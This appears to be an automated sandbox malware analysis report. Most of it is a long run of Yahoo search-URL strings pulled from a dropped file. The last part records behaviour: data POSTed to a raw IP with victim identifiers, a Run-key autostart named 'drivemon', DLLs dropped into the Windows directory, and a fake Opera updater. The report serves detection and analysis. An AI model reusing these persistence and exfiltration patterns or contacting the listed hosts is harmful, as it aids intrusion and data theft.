Source: Kno2.tmp.dr	String found in binary or memory: <SuggestionsURL>http://sugg-ie.de.search.yahoo.com/os?market=de&appid=ie8&command={searchTerms}</SuggestionsURL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <SuggestionsURL>http://sugg-ie.e1.search.yahoo.com/os?market=e1&appid=ie8&command={searchTerms}</SuggestionsURL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <SuggestionsURL>http://sugg-ie.es.search.yahoo.com/os?market=es&appid=ie8&command={searchTerms}</SuggestionsURL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <SuggestionsURL>http://sugg-ie.fr.search.yahoo.com/os?market=fr&appid=ie8&command={searchTerms}</SuggestionsURL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <SuggestionsURL>http://sugg-ie.hk.search.yahoo.com/os?market=hk&appid=ie8&command={searchTerms}</SuggestionsURL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <SuggestionsURL>http://sugg-ie.id.search.yahoo.com/os?market=id&appid=ie8&command={searchTerms}</SuggestionsURL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <SuggestionsURL>http://sugg-ie.in.search.yahoo.com/os?market=in&appid=ie8&command={searchTerms}</SuggestionsURL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <SuggestionsURL>http://sugg-ie.it.search.yahoo.com/os?market=it&appid=ie8&command={searchTerms}</SuggestionsURL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <SuggestionsURL>http://sugg-ie.mx.search.yahoo.com/os?market=mx&appid=ie8&command={searchTerms}</SuggestionsURL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <SuggestionsURL>http://sugg-ie.my.search.yahoo.com/os?market=my&appid=ie8&command={searchTerms}</SuggestionsURL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <SuggestionsURL>http://sugg-ie.nz.search.yahoo.com/os?market=nz&appid=ie8&command={searchTerms}</SuggestionsURL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <SuggestionsURL>http://sugg-ie.ph.search.yahoo.com/os?market=ph&appid=ie8&command={searchTerms}</SuggestionsURL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <SuggestionsURL>http://sugg-ie.qc.search.yahoo.com/os?market=qc&appid=ie8&command={searchTerms}</SuggestionsURL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <SuggestionsURL>http://sugg-ie.sg.search.yahoo.com/os?market=sg&appid=ie8&command={searchTerms}</SuggestionsURL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <SuggestionsURL>http://sugg-ie.th.search.yahoo.com/os?market=th&appid=ie8&command={searchTerms}</SuggestionsURL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <SuggestionsURL>http://sugg-ie.tw.search.yahoo.com/os?market=tw&appid=ie8&command={searchTerms}</SuggestionsURL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <SuggestionsURL>http://sugg-ie.uk.search.yahoo.com/os?market=uk&appid=ie8&command={searchTerms}</SuggestionsURL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <SuggestionsURL>http://sugg-ie.vn.search.yahoo.com/os?market=vn&appid=ie8&command={searchTerms}</SuggestionsURL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://ar.search.yahoo.com/</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://ar.search.yahoo.com/search?ei=UTF-8&fr=yie7c&p={searchTerms}</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://ar.search.yahoo.com/search?ei=UTF-8&fr=yie8ms&p={searchTerms}</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://ar.search.yahoo.com/search?p={searchTerms}&fr=chr-tyc8</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://ar.search.yahoo.com/search?p={searchTerms}&type=</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://au.search.yahoo.com/</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://au.search.yahoo.com/search?ei=UTF-8&fr=yie7c&p={searchTerms}</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://au.search.yahoo.com/search?ei=UTF-8&fr=yie8ms&p={searchTerms}</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://au.search.yahoo.com/search?p={searchTerms}&fr=chr-tyc8</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://au.search.yahoo.com/search?p={searchTerms}&type=</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://br.search.yahoo.com/</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://br.search.yahoo.com/search?ei=UTF-8&fr=yie7c&p={searchTerms}</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://br.search.yahoo.com/search?ei=UTF-8&fr=yie8ms&p={searchTerms}</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://br.search.yahoo.com/search?p={searchTerms}&fr=chr-tyc8</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://br.search.yahoo.com/search?p={searchTerms}&type=</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://ca.search.yahoo.com/</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://ca.search.yahoo.com/search?ei=UTF-8&fr=yie7c&p={searchTerms}</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://ca.search.yahoo.com/search?ei=UTF-8&fr=yie8ms&p={searchTerms}</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://ca.search.yahoo.com/search?p={searchTerms}&fr=chr-tyc8</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://ca.search.yahoo.com/search?p={searchTerms}&type=</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://cf.search.yahoo.com/</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://cl.search.yahoo.com/</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://cl.search.yahoo.com/search?p={searchTerms}&fr=chr-tyc8</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://cl.search.yahoo.com/search?p={searchTerms}&type=</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://co.search.yahoo.com/</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://co.search.yahoo.com/search?p={searchTerms}&fr=chr-tyc8</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://co.search.yahoo.com/search?p={searchTerms}&type=</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://de.search.yahoo.com/</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://de.search.yahoo.com/search?ei=UTF-8&fr=yie7c&p={searchTerms}</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://de.search.yahoo.com/search?ei=UTF-8&fr=yie8ms&p={searchTerms}</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://de.search.yahoo.com/search?p={searchTerms}&fr=chr-tyc8</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://de.search.yahoo.com/search?p={searchTerms}&type=</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://es.search.yahoo.com/</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://es.search.yahoo.com/search?ei=UTF-8&fr=yie7c&p={searchTerms}</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://es.search.yahoo.com/search?ei=UTF-8&fr=yie8ms&p={searchTerms}</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://es.search.yahoo.com/search?p={searchTerms}&fr=chr-tyc8</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://es.search.yahoo.com/search?p={searchTerms}&type=</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://espanol.search.yahoo.com/</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://espanol.search.yahoo.com/search?ei=UTF-8&fr=yie7c&p={searchTerms}</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://espanol.search.yahoo.com/search?ei=UTF-8&fr=yie8ms&p={searchTerms}</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://espanol.search.yahoo.com/search?p={searchTerms}&fr=chr-tyc8</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://espanol.search.yahoo.com/search?p={searchTerms}&type=</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://fr.search.yahoo.com/</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://fr.search.yahoo.com/search?ei=UTF-8&fr=yie7c&p={searchTerms}</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://fr.search.yahoo.com/search?ei=UTF-8&fr=yie8ms&p={searchTerms}</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://fr.search.yahoo.com/search?p={searchTerms}&fr=chr-tyc8</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://fr.search.yahoo.com/search?p={searchTerms}&type=</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://hk.search.yahoo.com/</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://hk.search.yahoo.com/search?ei=UTF-8&fr=yie7c&p={searchTerms}</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://hk.search.yahoo.com/search?ei=UTF-8&fr=yie8ms&p={searchTerms}</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://hk.search.yahoo.com/search?p={searchTerms}&fr=chr-tyc8</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://hk.search.yahoo.com/search?p={searchTerms}&type=</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://id.search.yahoo.com/</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://id.search.yahoo.com/search?p={searchTerms}&fr=chr-tyc8</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://id.search.yahoo.com/search?p={searchTerms}&type=</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://in.search.yahoo.com/search?ei=UTF-8&fr=yie7c&p={searchTerms}</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://in.search.yahoo.com/search?ei=UTF-8&fr=yie8ms&p={searchTerms}</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://in.search.yahoo.com/search?p={searchTerms}&fr=chr-tyc8</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://in.search.yahoo.com/search?p={searchTerms}&type=</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://it.search.yahoo.com/search?ei=UTF-8&fr=yie7c&p={searchTerms}</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://it.search.yahoo.com/search?ei=UTF-8&fr=yie8ms&p={searchTerms}</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://it.search.yahoo.com/search?p={searchTerms}&fr=chr-tyc8</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://it.search.yahoo.com/search?p={searchTerms}&type=</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://kr.search.yahoo.com/</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://kr.search.yahoo.com/ei=UTF-8&fr=yie8ms&p={searchTerms}</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://kr.search.yahoo.com/search?ei=UTF-8&fr=yie7c&p={searchTerms}</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://kr.search.yahoo.com/search?p={searchTerms}&fr=chr-tyc8</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://kr.search.yahoo.com/search?p={searchTerms}&type=</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://kr.searchcenter.yahoo.com/</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://malaysia.search.yahoo.com/search?ei=UTF-8&fr=yie7c&p={searchTerms}</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://malaysia.search.yahoo.com/search?ei=UTF-8&fr=yie8ms&p={searchTerms}</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://malaysia.search.yahoo.com/search?p={searchTerms}&fr=chr-tyc8</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://malaysia.search.yahoo.com/search?p={searchTerms}&type=</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://mx.search.yahoo.com/search?ei=UTF-8&fr=yie7c&p={searchTerms}</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://mx.search.yahoo.com/search?ei=UTF-8&fr=yie8ms&p={searchTerms}</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://mx.search.yahoo.com/search?p={searchTerms}&fr=chr-tyc8</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://mx.search.yahoo.com/search?p={searchTerms}&type=</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://nz.search.yahoo.com/</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://nz.search.yahoo.com/search?p={searchTerms}&fr=chr-tyc8</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://nz.search.yahoo.com/search?p={searchTerms}&type=</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://pe.search.yahoo.com/</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://pe.search.yahoo.com/search?p={searchTerms}&fr=chr-tyc8</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://pe.search.yahoo.com/search?p={searchTerms}&type=</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://ph.search.yahoo.com/search?ei=UTF-8&fr=yie7c&p={searchTerms}</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://ph.search.yahoo.com/search?ei=UTF-8&fr=yie8ms&p={searchTerms}</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://ph.search.yahoo.com/search?p={searchTerms}&fr=chr-tyc8</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://ph.search.yahoo.com/search?p={searchTerms}&type=</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://qc.search.yahoo.com/</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://qc.search.yahoo.com/search?p={searchTerms}&fr=chr-tyc8</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://qc.search.yahoo.com/search?p={searchTerms}&type=</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://ru.search.yahoo.com</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://search.cn.yahoo.com/</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://search.yahoo.com/</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://search.yahoo.com/search?p={searchTerms}&ei=utf-8&fr=b2ie7</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://search.yahoo.com/search?p={searchTerms}&ei=utf-8&fr=ie8</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://search.yahoo.com/search?p={searchTerms}&ei=utf-8&fr=yie7</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://search.yahoo.com/search?p={searchTerms}&ei=utf-8&fr=yie7c</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://search.yahoo.com/search?p={searchTerms}&ei=utf-8&fr=yie8ms</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://search.yahoo.com/search?p={searchTerms}&fr=chr-tyc8</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://search.yahoo.com/search?p={searchTerms}&type=</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://sg.search.yahoo.com/search?ei=UTF-8&fr=yie7c&p={searchTerms}</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://sg.search.yahoo.com/search?ei=UTF-8&fr=yie8ms&p={searchTerms}</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://sg.search.yahoo.com/search?p={searchTerms}&fr=chr-tyc8</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://sg.search.yahoo.com/search?p={searchTerms}&type=</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://th.search.yahoo.com/search?p={searchTerms}&fr=chr-tyc8</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://th.search.yahoo.com/search?p={searchTerms}&type=</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://tw.search.yahoo.com/search?ei=UTF-8&fr=yie7c&p={searchTerms}</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://tw.search.yahoo.com/search?ei=UTF-8&fr=yie8ms&p={searchTerms}</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://tw.search.yahoo.com/search?p={searchTerms}&fr=chr-tyc8</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://tw.search.yahoo.com/search?p={searchTerms}&type=</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://uk.search.yahoo.com/search?ei=UTF-8&fr=yie7c&p={searchTerms}</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://uk.search.yahoo.com/search?ei=UTF-8&fr=yie8ms&p={searchTerms}</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://uk.search.yahoo.com/search?p={searchTerms}&fr=chr-tyc8</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://uk.search.yahoo.com/search?p={searchTerms}&type=</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://ve.search.yahoo.com/</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://ve.search.yahoo.com/search?p={searchTerms}&fr=chr-tyc8</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://ve.search.yahoo.com/search?p={searchTerms}&type=</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://vn.search.yahoo.com/search?p={searchTerms}&fr=chr-tyc8</URL> equals www.yahoo.com (Yahoo)
Source: Kno2.tmp.dr	String found in binary or memory: <URL>http://vn.search.yahoo.com/search?p={searchTerms}&type=</URL> equals www.yahoo.com (Yahoo)
Source: cutit.exe.dr	String found in binary or memory: http://www.yahoo.com equals www.yahoo.com (Yahoo)
Performs DNS lookups		Show sources
Source: unknown	DNS traffic detected: queries for: www.microsoft.com
Posts data to webserver		Show sources
Source: unknown	HTTP traffic detected: POST /data?version=1006&group=0227&client=063b46785777ce6ac12c9b3e8520ff52&computer=506407&os=5.1&latency=0.0&type=8 HTTP/1.1 User-Agent: Microsoft-CryptoAPI/6.1 Host: 95.211.192.195 Content-Length: 12690 Connection: Keep-Alive Cache-Control: no-cache
HTTP GET or POST without a user agent		Show sources
Source: global traffic	HTTP traffic detected: GET /813lux6EySHP4W-81m0YHZ_jdBIt1bV-D34r7SdtCQqckA-e HTTP/1.1 Host: northwesternfoods.com Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1 Host: www.yahoo.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1 Host: www.yahoo.com

Boot Survival:

Creates an autostart registry key		Show sources
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Registry value created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run drivemon
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Registry value created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run drivemon
Creates an autostart registry key pointing to binary in C:\Windows		Show sources
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Registry value created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run drivemon

Persistence and Installation Behavior:

Drops PE files		Show sources
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	File created: C:\WINDOWS\client.dll
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\opera_autoupdater.exe	File created: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	File created: C:\WINDOWS\zlib1.dll
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\opera_autoupdater.exe	File created: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\cutit.exe
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\spa.dll	File created: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\opera_autoupdater.exe
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	File created: C:\WINDOWS\aplib64.dll
Source: C:\Program Files\Internet Explorer\iexplore.exe	File created: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\spa.dll
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\cutit.exe	File created: C:\Documents and Settings\Administrator\Application Data\Voxi\oxfyc.exe
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	File created: C:\WINDOWS\aplib.dll
Drops PE files to the windows directory (C:\Windows)		Show sources
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	File created: C:\WINDOWS\client.dll
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	File created: C:\WINDOWS\zlib1.dll
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	File created: C:\WINDOWS\aplib64.dll
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	File created: C:\WINDOWS\aplib.dll

Data Obfuscation:

Contains functionality to dynamically determine API calls			Show sources
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 0_2_02251AA9 lstrcpyW,lstrlenW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,		0_2_02251AA9

System Summary:

Binary contains device paths (device paths are often used for kernel mode <-> user mode communication)		Show sources
Source: _9.tmp.dr	Binary string: Boot Device: \Device\HarddiskVolume1
Contains functionality to enum processes or threads		Show sources
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 0_2_02253FF3 GetCurrentThread,GetCurrentThread,GetThreadPriority,GetCurrentThread,SetThreadPriority,GetCurrentProcessId,CreateToolhelp32Snapshot,Thread32First,Thread32First,GetCurrentProcessId,GetCurrentThreadId,Thread32Next,GetProcessHeap,HeapAlloc,memset,Thread32First,GetCurrentProcessId,GetCurrentThreadId,Thread32Next,CloseHandle,GetCurrentThread,SetThreadPriority,	0_2_02253FF3
Contains functionality to load and extract PE file embedded resources		Show sources
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 0_2_02259B60 CreateMutexW,FindResourceW,SizeofResource,LoadResource,LockResource,	0_2_02259B60
Creates files inside the user directory		Show sources
Source: C:\Program Files\Internet Explorer\iexplore.exe	File created: C:\Documents and Settings\Administrator\Local Settings\Application Data\Microsoft\Internet Explorer\Recovery\Active\RecoveryStore.{351C9A7A-A01B-11E3-97AC-080027B8F5FB}.dat
Creates temporary files		Show sources
Source: C:\Program Files\Internet Explorer\iexplore.exe	File created: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DFD851.tmp
Reads ini files		Show sources
Source: C:\Program Files\Internet Explorer\iexplore.exe	File read: C:\PROGRA~1\Joebox\user\settings.ini
Spawns processes		Show sources
Source: C:\Program Files\Internet Explorer\iexplore.exe	Process created: C:\Program Files\Internet Explorer\iexplore.exe C:\Program Files\Internet Explorer\IEXPLORE.EXE SCODEF:776 CREDAT:79873
Uses tasklist.exe to query information about running processes		Show sources
Source: C:\WINDOWS\system32\cmd.exe	Process created: C:\WINDOWS\system32\tasklist.exe tasklist.exe /SVC
Creates files inside the system directory		Show sources
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	File created: C:\WINDOWS\client.dll
Creates mutexes		Show sources
Source: C:\WINDOWS\explorer.exe	Mutant created: \BaseNamedObjects\4cb65f0e5b15f1700f2219a4b3765d18
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\cutit.exe	Mutant created: \BaseNamedObjects\Global\{64307AAF-C4D3-D5D5-FB56-FD56EA1DDE44}
Source: C:\WINDOWS\explorer.exe	Mutant created: \BaseNamedObjects\c161f797b00adfe1ccbbdea5c01ff2a9
Enables driver privileges		Show sources
Source: C:\Program Files\Internet Explorer\iexplore.exe	Process token adjusted: Load Driver
Reads the hosts file		Show sources
Source: C:\Program Files\Internet Explorer\iexplore.exe	File read: C:\WINDOWS\system32\drivers\etc\hosts
Source: C:\Program Files\Internet Explorer\iexplore.exe	File read: C:\WINDOWS\system32\drivers\etc\hosts
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\opera_autoupdater.exe	File read: C:\WINDOWS\system32\drivers\etc\hosts
Source: C:\Program Files\Internet Explorer\iexplore.exe	File read: C:\WINDOWS\system32\drivers\etc\hosts
